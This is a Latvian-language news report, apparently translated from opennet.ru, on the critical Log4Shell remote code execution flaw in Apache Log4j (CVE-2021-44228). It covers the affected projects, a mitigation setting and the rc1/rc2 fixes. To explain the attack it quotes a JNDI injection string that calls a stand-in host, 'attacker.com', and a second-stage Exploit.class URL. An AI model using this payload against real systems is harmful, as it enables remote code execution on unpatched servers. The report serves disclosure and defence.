Katastrofāla Apache Log4j ievainojamība, kas ietekmē daudzus Java projektus

Programmā Apache Log4j, populārā ietvarā Java lietojumprogrammu reģistrēšanas organizēšanai, ir konstatēta kritiska ievainojamība, kas ļauj izpildīt patvaļīgu kodu, kad žurnālā tiek ierakstīta īpaši formatēta vērtība “{jndi:URL}” formātā. Uzbrukumu var veikt Java lietojumprogrammās, kas reģistrē vērtības, kas saņemtas no ārējiem avotiem, piemēram, parādot problemātiskas vērtības kļūdu ziņojumos.

Tiek atzīmēts, ka problēma skar gandrīz visus projektus, kuros izmanto tādus ietvarus kā Apache Struts, Apache Solr, Apache Druid vai Apache Flink, tostarp Steam, Apple iCloud, Minecraft klientus un serverus. Paredzams, ka ievainojamība varētu izraisīt masveida uzbrukumu vilni korporatīvajām lietojumprogrammām, atkārtojot kritisko ievainojamību vēsturi Apache Struts ietvarā, kuru, pēc aptuvenām aplēsēm, tīmekļa lietojumprogrammās izmanto 65% Fortune 100 uzņēmumi, tostarp mēģinājumi skenēt tīklu, lai atrastu neaizsargātas sistēmas.

Problēmu saasina fakts, ka jau ir publicēts darbojošs exploit, bet stabilo atzaru labojumi vēl nav apkopoti. CVE identifikators vēl nav piešķirts. Labojums ir iekļauts tikai log4j-2.15.0-rc1 testa filiālē. Lai bloķētu ievainojamību, ieteicams parametram log4j2.formatMsgNoLookups iestatīt vērtību True.

Problēmu izraisīja fakts, ka log4j atbalsta īpašu masku “{}” apstrādi rindās, kas tiek izvadītas uz žurnālu, kurās var izpildīt JNDI (Java Naming and Directory Interface) vaicājumus. Uzbrukums ir saistīts ar virknes nodošanu ar aizstāšanu “${jndi:ldap://attacker.com/a}”, kuras apstrādes laikā log4j nosūtīs LDAP pieprasījumu par ceļu uz Java klasi uz attacker.com serveri. . Uzbrucēja servera atgrieztais ceļš (piemēram, http://second-stage.attacker.com/Exploit.class) tiks ielādēts un izpildīts pašreizējā procesa kontekstā, kas ļauj uzbrucējam izpildīt patvaļīgu kodu sistēma ar pašreizējās lietojumprogrammas tiesībām.

1. pielikums: ievainojamībai ir piešķirts identifikators CVE-2021-44228.

2. pielikums: ir identificēts veids, kā apiet aizsardzību, kas pievienota ar laidienu log4j-2.15.0-rc1. Ir ierosināts jauns atjauninājums log4j-2.15.0-rc2 ar pilnīgāku aizsardzību pret ievainojamību. Kods izceļ izmaiņas, kas saistītas ar nepareizas darbības pārtraukšanas neesamību, ja tiek izmantots nepareizi formatēts JNDI URL.

Avots: opennet.ru

Pievieno komentāru